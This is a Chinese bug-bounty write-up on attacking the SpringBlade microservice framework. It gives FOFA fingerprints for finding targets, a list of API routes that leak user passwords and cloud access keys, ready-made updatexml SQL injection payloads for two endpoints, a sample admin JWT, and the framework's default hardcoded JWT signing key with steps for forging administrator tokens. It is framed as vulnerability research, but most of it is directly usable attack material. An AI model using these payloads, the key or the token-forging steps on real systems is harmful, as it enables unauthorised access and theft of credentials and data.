前言
在挖src碰巧遇到了springBlade框架,就此浅显总结一下
简介&特征
SpringBlade是一个基于Spring Boot和Spring Cloud的微服务架构框架,它是由商业级项目升级优化而来的综合型项目。Springblade是基于spring-boot开发的,接口泄露、sql注入他也存在。
sringblade的特征1
fofa指纹:icon_hash="1047841028"
特征2
在页面加载过程中,会出现以下的加载页面,和最下方的https://bladex.vip
,此时我们就可以将这个地址放到fofa上去扩大资产
fofa指纹:body="https://bladex.vip"
特征3
在路径中若发现blade
,这个字段,也基本可以确定是blade框架
/api/blade-user/info
/api/blade-auth/oauth/captcha
.....
常见漏洞&实战
漏洞一:接口泄露
正常接口路径:/api/blade-system/,不过开发人员一般会改路径,可能改为/oaApi/blade-system/,也可能表面呈现http://xxx.com/#/system,这种形式,不过抓包后就会显露会/api/blade-system/这种形式。
下述就是没有修改的路由的案例
其中比较常见的泄露:
/api/blade-system/menu/buttons #暴露路由
/api/blade-system/user/user-list #泄露用户名、密码(包括管理员)
/api/blade-resource/oss/list #泄露AK、SK
不仅如此,在js文件类里面也会泄露jwt,可直接访问
泄露的路由还有如下:
下述只对找到的案例存在的路由进行了解释:
/api/blade-system/user/user-list #用户列表
/api/blade-system/tenant/select #租户选择
/api/blade-develop/datasource/list
/api/blade-resource/oss/list
/api/blade-develop/datasource/list
/api/blade-system/code/remove
/api/blade-resource/oss/remove
/api/blade-system/dict-biz/remove
/authority/role/add #添加用户
/system/dict/add #添加字典
.......
漏洞二:弱口令&AK、SK泄露
这个站点很奇葩,当我登录的时候,他自动就把账号和密码(也是弱口令)填写进去了,直接登陆即可了,进去大概看了一下就泄露了
然后直接使用ossbrower连接即可
漏洞三:SQL注入
第一处:
/api/blade-log/error/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1
第二处:
/api/blade-user/export-user?Blade-Auth=[jwt码]&account=&realName=&1-updatexml(1,concat(0x5c,version(),0x5c),1)=1
如果前端使用的saber,则可以用下述saber-access-token/saber-refresh-token替换上述的jwt码,下面一个漏洞也同理
```
Cookie: saber-access-token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwidG9rZW5fdHlwZSI6ImFjY2Vzc190b2tlbiIsImRlcHRfaWQiOiIxMTIzNTk4ODEzNzM4Njc1MjAxIiwiYWNjb3VudCI6ImFkbWluIiwiY2xpZW50X2lkIjoic2FiZXIiLCJleHAiOjE3MjM2MDE3NTcsIm5iZiI6MTcyMzU5ODE1N30.N4arC25-V_qBBlxmjLlvvN2VaZ3iPvc-xht2VEPMOq4; saber-refresh-token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInRva2VuX3R5cGUiOiJyZWZyZXNoX3Rva2VuIiwiY2xpZW50X2lkIjoic2FiZXIiLCJleHAiOjE3MjQyMDI5NTcsIm5iZiI6MTcyMzU5ODE1N30.0U0aZzVdesBjS3VNBFyDN1D7jFWM54XPd6kdWHWL394
```
漏洞四:JWT硬编码越权
默认密钥:bladexisapowerfulmicroservicearchitectureupgradedandoptimizedfromacommercialproject
漏洞原因:开发者在使用jwt进行身份认证时,并没有对默认的jwt密钥进行修改,导致黑客可以利用默认的jwt密钥去伪造jwt值,可以欺骗服务器获取用户权限等
教程:将上面的密钥放到箭头指示的位置,然后修改payload里的字段,因为服务器都是通过这个payload中的字段进行鉴权的,所以通过修改payload中的字段,来达到伪造jwt欺骗服务器
将修改后的jwt字段,放回Blade-Auth中,放包,看是否回显,若回显,则证明存在jwt硬编码。
不成功则会出现未授权